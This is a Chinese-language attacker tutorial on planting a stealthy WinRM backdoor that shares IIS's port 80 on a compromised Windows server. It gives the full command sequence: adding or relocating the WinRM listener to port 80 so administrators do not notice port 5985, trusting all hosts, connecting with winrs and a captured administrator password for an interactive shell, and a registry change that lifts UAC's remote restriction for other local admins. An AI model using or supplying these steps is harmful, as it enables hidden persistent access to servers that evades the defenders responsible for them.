0x01 簡介
該后門的基本原理是使用Windows 的遠程管理管理服務WinRM,組合HTTP.sys驅動自帶的端口復用功能,一起實現正向的端口復用后門。
具體細節信息請參考:https://paper.seebug.org/1004/
0x02 復現
2.1 環境信息
此次的后門連接是需要目標服務器的高權用戶的明文密碼的,需要先抓取相應的明文密碼才可部署后門:
首先查看目標服務器時候能夠正常使用WinRM服務:
在Windows 2012以上的服務器操作系統中,WinRM服務默認啟動並監聽了5985端口。
對於Windows 2008來說,需要使用命令來啟動WinRM服務,快速配置和啟動的命令是winrm quickconfig -q
,這條命令運行后會自動添加防火牆例外規則,放行5985端口。
2.2 復用80端口
目標服務器本身是存在IIS服務器的,開放端口也是默認的80端口:
對於原本就開放了WinRM服務的機器來講,需要保留原本的5985端口listener,同時需要新增一個80端口的listener,這樣既能保證原來的5985端口管理員可以使用,我們也能通過80端口連接WinRM。
使用下面這條命令即可新增一個80端口的listener
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
對於安裝Windows 2012及以上版本操作系統的服務器來講,只需要這一條命令即可實現端口復用。
這種情況下,老的5985端口listener還保留着:
當目標服務器上,本省並未啟用WinRM服務的話,那么需要把默認的5985端口修改成web服務端口80,否則管理員上來看到一個5985端口就可能起疑心。
通過下面這條命令即可修改端口為80
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
這種情況下,管理員查看端口也看不到5985開放,只開放80端口:
經過配置之后,WinRM已經在80端口上監聽了一個listener,與此同時,IIS的web服務也能完全正常運行。
2.3 后門的使用
本地需要連接WinRM服務時,首先也需要配置啟動WinRM服務,然后需要設置信任連接的主機,執行以下兩條命令即可
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
開啟WinRM客戶端后,使用winrs命令即可連接遠程WinRM服務執行命令(這里的賬號密碼即是目標服務器本地存在的用戶)
winrs -r:http://192.168.126.133 -u:administrator -p:admin123. ipconfig
上述命令會在遠程機器上執行ipconfig命令,獲取結果后直接退出
將ipconfig命令換成cmd即可獲取一個交互式的shell:
winrs -r:http://192.168.126.133 -u:administrator -p:admin123. cmd
0x03 非管理員用戶
WinRM服務是受UAC影響的,所以本地管理員用戶組里面只有administrator可以登錄,其他管理員用戶是沒法遠程登錄WinRM的。要允許本地管理員組的其他用戶登錄WinRM,需要修改注冊表設置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,普通管理員登錄后也是高權限。